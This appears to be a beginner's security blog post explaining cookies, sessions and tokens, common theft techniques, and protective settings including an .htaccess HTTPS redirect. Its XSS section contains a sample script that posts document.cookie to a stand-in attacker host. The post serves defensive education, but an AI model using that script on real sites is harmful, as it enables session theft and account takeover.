๐Ÿช Cookies, Tokens, and Sessions: How They Work and How Attackers Steal Them

Updated: July 2025
Author: admin โ€” Cyberwel.com
๐Ÿ” Simple, beginner-friendly guide to web authentication & security


โš ๏ธ Disclaimer

This article is for educational purposes only. The goal is to help everyday users understand how web login mechanisms work โ€” and how to protect themselves from real-world threats.


๐Ÿ”‘ Quick Summary

ConceptPurposeSecurity Risk
CookieStores small user dataCan be stolen via XSS or sniffing
SessionTracks logged-in usersSession ID can be hijacked
TokenUsed in APIs/auth systemsCan be leaked if poorly stored

๐Ÿง Imagine This

You log into your bank website, close the tab, then come back later โ€” and you’re still logged in. How did it remember you?

The answer: cookies, sessions, or tokens. These tools make websites feel seamless โ€” but also open doors for attackers if not handled securely.


๐Ÿช What Are Cookies?

Cookies are tiny files that websites store in your browser. They help remember you โ€” your login, cart items, theme, language, etc.

๐Ÿ”น Common Uses:

  • Stay logged in
  • Store user preferences
  • Track visits for analytics
  • Save shopping cart content

๐Ÿงฉ Types of Cookies

TypeDescription
SessionTemporary, deleted after browser closes
PersistentStay even after restart (e.g., โ€œRemember meโ€)
SecureOnly sent over HTTPS
HttpOnlyHidden from JavaScript (protects from XSS)
SameSiteRestricts cross-site requests (prevents CSRF)

๐Ÿ›ก๏ธ Cookie Security Flags

FlagWhat It Does
SecureSends cookie only over HTTPS
HttpOnlyPrevents JavaScript from reading cookie
SameSiteBlocks sending cookies in cross-site requests

๐Ÿ“Œ Tip: If any of these are missing, a hacker might steal your cookie using a script or a public Wi-Fi attack.


๐Ÿงญ What Is a Session?

A session keeps you logged in during a visit. Without sessions, you’d have to enter your password on every page.

โ†บ How It Works:

  1. You log in.
  2. Server creates a Session ID.
  3. The browser stores it (usually in a cookie).
  4. On every request, your browser sends it.
  5. The server checks this ID to know who you are.

If someone steals your session ID, they can pretend to be you. Itโ€™s like handing over your backstage pass.


๐Ÿ” What Are Tokens?

Tokens are special strings used mostly in APIs and modern apps (like mobile apps, single-page apps, etc.).

They are stateless: the server doesn’t need to store anything. The token carries all the info inside it.

๐Ÿงช Common Token Types:

TypeDescription
JWTJSON Web Token โ€” includes user data + expiration
OAuthAllows apps (like Spotify) to access Google data
BearerGeneric token used in headers for access

๐Ÿ›† Where Tokens Are Stored:

  • Best: HTTP-only cookies with Secure flag
  • โš ๏ธ Risky: localStorage/sessionStorage (XSS can access them)

๐Ÿ’จ How Hackers Steal Sessions or Tokens

          +------------------+
          |   Login Form     |
          +--------+---------+
                   |
                   v
          +------------------+
          | Authentication   |
          |     Server       |
          +--------+---------+
                   |
                   v
         +--------------------+
         |  Session ID Issued |
         +---------+----------+
                   |
                   v
         +----------------------+
         | Stored in Cookie     |
         +---------+------------+
                   |
                   v
     +--------------------------------+
     | Browser Sends Cookie on Visit |
     +--------------------------------+
                   |
                   v
    +-------------------------------------+
    | Attacker Steals Session ID via     |
    | - XSS                              |
    | - MITM                             |
    | - Public Wi-Fi                     |
    | - Malicious Extensions             |
    +-------------------------------------+
                   |
                   v
        +-----------------------------+
        |  Session Hijacked           |
        |  (Attacker = Logged-In User)|
        +-----------------------------+

Session hijacking occurs when an attacker captures your valid session ID and impersonates you online. Without cookie protections like HttpOnly, Secure, and SameSite, this attack becomes much easier โ€” especially on public Wi-Fi or websites that donโ€™t enforce HTTPS.

1. Session Hijacking

They intercept your session ID and reuse it.

๐Ÿ“Œ Happens when:

  • Cookies are sent over HTTP
  • JavaScript can read cookies (missing HttpOnly)
  • You’re on public Wi-Fi with no VPN
  • Bad browser extensions

2. Session Fixation

The attacker sets a session ID before you log in.

๐Ÿ”€ Example:
You click a strange link โ†’ the session ID is already set โ†’ you log in โ†’ hacker uses that ID to get in too.


3. XSS (Cross-Site Scripting)

Malicious script runs in your browser, stealing cookies.

<script>
fetch('https://attacker.site', {
  method: 'POST',
  body: document.cookie
});
</script>

4. Man-in-the-Middle (MITM)

Without HTTPS, attackers can sniff your traffic โ€” including tokens.

๐Ÿง  Example: Logging into your bank on open Wi-Fi = very bad idea.


5. CSRF (Cross-Site Request Forgery)

The attacker tricks your browser into making requests as you, like changing your email or transferring money.

Usually works only if your session isnโ€™t protected by SameSite + CSRF tokens.


โœ… Best Practices: How to Protect Yourself

๐Ÿ” Cookie & Session Protection Checklist:

PracticeWhy It Matters
โœ… Use HTTPSEncrypts traffic, blocks sniffing
โœ… Set HttpOnly flagBlocks JS from reading cookies
โœ… Use Secure flagCookie sent only via HTTPS
โœ… Set SameSite=StrictPrevents cross-site misuse
โœ… Regenerate session ID on loginPrevents fixation
โœ… Avoid localStorageSafer to store tokens in cookies
โœ… Set short token lifetimesLimits window for abuse
โœ… Monitor login activityDetect stolen session usage
โœ… Use CSRF tokens in formsPrevents unauthorized requests

๐Ÿ“Š Cookie vs Token vs Session โ€“ Comparison Table

FeatureCookieSessionToken
PurposeStore data in browserTrack user login state on serverAuthenticate user/API without session
Storage LocationBrowser (client-side)Server memory or DBClient (cookie/localStorage/headers)
TypeStatefulStatefulStateless (usually)
Security RisksXSS, sniffing if unprotectedSession hijacking, fixationToken leakage via XSS/localStorage
ExpiresManually set expiration or session endOn logout or timeoutUsually time-limited (e.g., 15 mins)
Can be stolen viaXSS, MITMMITM, sniffingXSS, poor token handling
Best StorageHttpOnly, Secure cookiesOn server (use session ID in cookie)Secure HttpOnly cookie or in Authorization header
Use CaseRemember login, preferencesMaintain login state in web appsAPI auth, mobile apps, SPAs
Example ProtocolsHTTP CookiesPHP/ASP.NET/Express sessionsJWT, OAuth 2.0, Bearer tokens

๐Ÿ’ก Tip: In modern applications, it’s common to use tokens (like JWT) for authentication and store them in HttpOnly cookies to gain benefits of both tokens and secure cookie storage.


๐Ÿง Real-World Example: Facebook 2010 Token Theft

In 2010, attackers found a way to access Facebook session tokens via browser storage. It allowed full account takeover just by visiting a malicious site.

๐Ÿ“˜ Lesson learned: If even Facebook can make mistakes โ€” so can anyone. Proper storage and scoping matter.


๐Ÿ“š FAQ: Quick Answers for Beginners

Are cookies safe?

Mostly yes โ€” if they’re configured properly (HttpOnly, Secure, SameSite). Bad configuration = risk.


Can I delete cookies to log out?

Yes, but many websites also track your session server-side. So deleting cookies doesnโ€™t always log you out securely.


Should I worry about XSS and CSRF?

Yes. They are real threats โ€” but proper settings and hygiene (like input validation and CSRF tokens) will block 99% of attacks.


Is localStorage bad?

Itโ€™s okay for non-sensitive data. But never store login tokens there โ€” if XSS happens, theyโ€™re gone.


๐Ÿงฉ Bonus: Redirect All Traffic to HTTPS with .htaccess

๐Ÿ” Why This Matters

If someone visits your site using http://, their connection is not encrypted. This makes it possible for attackers (especially on public Wi-Fi) to intercept cookies, session IDs, or login data โ€” using man-in-the-middle (MITM) techniques.

To fix this, you should force all users to use HTTPS.


๐Ÿ“ What Is .htaccess?

.htaccess is a configuration file used by Apache web servers. It lets you control how your server behaves โ€” like setting up redirects, blocking access, or enabling compression.

If your hosting uses Apache (like Hostinger, Namecheap, Bluehost, etc.), you can use .htaccess.


๐Ÿš€ How to Enable HTTPS Redirect

  1. Locate your websiteโ€™s .htaccess file. Itโ€™s usually in the root folder of your site (/public_html or /www).
  2. Make a backup copy of it before editing.
  3. Add this code at the top of the file:
RewriteEngine On
RewriteCond %{HTTPS} off
RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]

๐Ÿ” What This Code Does:

LineExplanation
RewriteEngine OnActivates URL rewriting module
RewriteCond %{HTTPS} offChecks if the request is not using HTTPS
RewriteRuleRedirects to the HTTPS version of the current page

โœ… Result

  • All visitors are automatically redirected to the HTTPS version of your site.
  • Their sessions and cookies are encrypted, making it much harder for attackers to steal anything.

๐Ÿ’ก Pro Tip

If your site doesnโ€™t yet have an SSL certificate:

  • Use Letโ€™s Encrypt to get one for free.
  • Many hosts (like Hostinger, SiteGround, etc.) offer it with one click.

๐Ÿง  Final Thought

Cookies, sessions, and tokens are invisible tools that power every login youโ€™ve ever used. Learn how they work โ€” and youโ€™ll be 10x more secure online.


Leave a Comment